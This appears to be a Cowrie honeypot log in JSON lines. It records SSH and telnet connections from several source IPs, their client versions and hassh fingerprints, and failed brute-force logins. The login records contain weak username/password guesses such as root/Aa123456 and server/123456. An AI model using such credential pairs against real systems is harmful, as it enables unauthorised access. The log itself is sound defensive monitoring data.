{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:02.843793Z","src_ip":"94.26.106.229","session":"506fd33e8c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:02.928868Z","src_ip":"94.26.106.229","session":"506fd33e8c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:03.186110Z","src_ip":"94.26.106.229","session":"506fd33e8c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8014bb216c","protocol":"telnet","message":"New connection: 152.42.224.71:38506 (10.17.0.5:23) [session: 4f8014bb216c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:03.436095Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:04.273818Z","src_ip":"94.26.106.229","session":"506fd33e8c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34464,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d752f758a6","protocol":"ssh","message":"New connection: 45.156.87.204:34464 (159.203.135.109:22) [session: 42d752f758a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:04.709957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:04.904871Z","src_ip":"45.156.87.204","session":"42d752f758a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:04.909253Z","src_ip":"45.156.87.204","session":"42d752f758a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.268230Z","src_ip":"45.156.87.204","session":"42d752f758a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":41504,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a6d16add15d","protocol":"ssh","message":"New connection: 94.26.106.229:41504 (159.203.135.109:22) [session: 4a6d16add15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.325058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.353582Z","src_ip":"94.26.106.229","session":"4a6d16add15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":59364,"dst_ip":"159.203.135.109","dst_port":22,"session":"737c8a83110e","protocol":"ssh","message":"New connection: 83.111.76.195:59364 (159.203.135.109:22) [session: 737c8a83110e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.380904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.388176Z","src_ip":"83.111.76.195","session":"737c8a83110e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.433963Z","src_ip":"94.26.106.229","session":"4a6d16add15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.586848Z","src_ip":"83.111.76.195","session":"737c8a83110e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:05.947596Z","src_ip":"94.26.106.229","session":"4a6d16add15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:06.352038Z","src_ip":"45.156.87.204","session":"42d752f758a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryan","password":"ryan","message":"login attempt [ryan/ryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:06.410889Z","src_ip":"83.111.76.195","session":"737c8a83110e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.041986Z","src_ip":"94.26.106.229","session":"4a6d16add15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.611599Z","src_ip":"83.111.76.195","session":"737c8a83110e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":41526,"dst_ip":"159.203.135.109","dst_port":22,"session":"7131ee128fe3","protocol":"ssh","message":"New connection: 94.26.106.229:41526 (159.203.135.109:22) [session: 7131ee128fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.684808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.689884Z","src_ip":"94.26.106.229","session":"7131ee128fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58948,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd240b621a47","protocol":"telnet","message":"New connection: 152.42.224.71:58948 (10.17.0.5:23) [session: bd240b621a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.693701Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.777928Z","src_ip":"94.26.106.229","session":"7131ee128fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.302276134490967,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:07.945066Z","src_ip":"152.42.224.71","session":"44a115b53fce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"P@ssw0rd","message":"login attempt [ftptest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:08.041239Z","src_ip":"94.26.106.229","session":"7131ee128fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34474,"dst_ip":"159.203.135.109","dst_port":22,"session":"c97cfd4440c0","protocol":"ssh","message":"New connection: 45.156.87.204:34474 (159.203.135.109:22) [session: c97cfd4440c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:08.688932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:08.693656Z","src_ip":"45.156.87.204","session":"c97cfd4440c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:08.776893Z","src_ip":"45.156.87.204","session":"c97cfd4440c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.026468Z","src_ip":"45.156.87.204","session":"c97cfd4440c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.131623Z","src_ip":"94.26.106.229","session":"7131ee128fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.59108924865723,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.808668Z","src_ip":"152.42.224.71","session":"98508701243d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":41554,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d4efeca2ee","protocol":"ssh","message":"New connection: 94.26.106.229:41554 (159.203.135.109:22) [session: 42d4efeca2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.843774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.849433Z","src_ip":"94.26.106.229","session":"42d4efeca2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:09.942535Z","src_ip":"94.26.106.229","session":"42d4efeca2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:10.111093Z","src_ip":"45.156.87.204","session":"c97cfd4440c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:10.427697Z","src_ip":"94.26.106.229","session":"42d4efeca2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:11.518694Z","src_ip":"94.26.106.229","session":"42d4efeca2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":34486,"dst_ip":"159.203.135.109","dst_port":22,"session":"b746b8f24df9","protocol":"ssh","message":"New connection: 45.156.87.204:34486 (159.203.135.109:22) [session: b746b8f24df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.172631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.179872Z","src_ip":"45.156.87.204","session":"b746b8f24df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.258119Z","src_ip":"45.156.87.204","session":"b746b8f24df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":41572,"dst_ip":"159.203.135.109","dst_port":22,"session":"42585134c477","protocol":"ssh","message":"New connection: 94.26.106.229:41572 (159.203.135.109:22) [session: 42585134c477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.655245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:12.660637Z","src_ip":"94.26.106.229","session":"42585134c477","protocol":"ssh"}
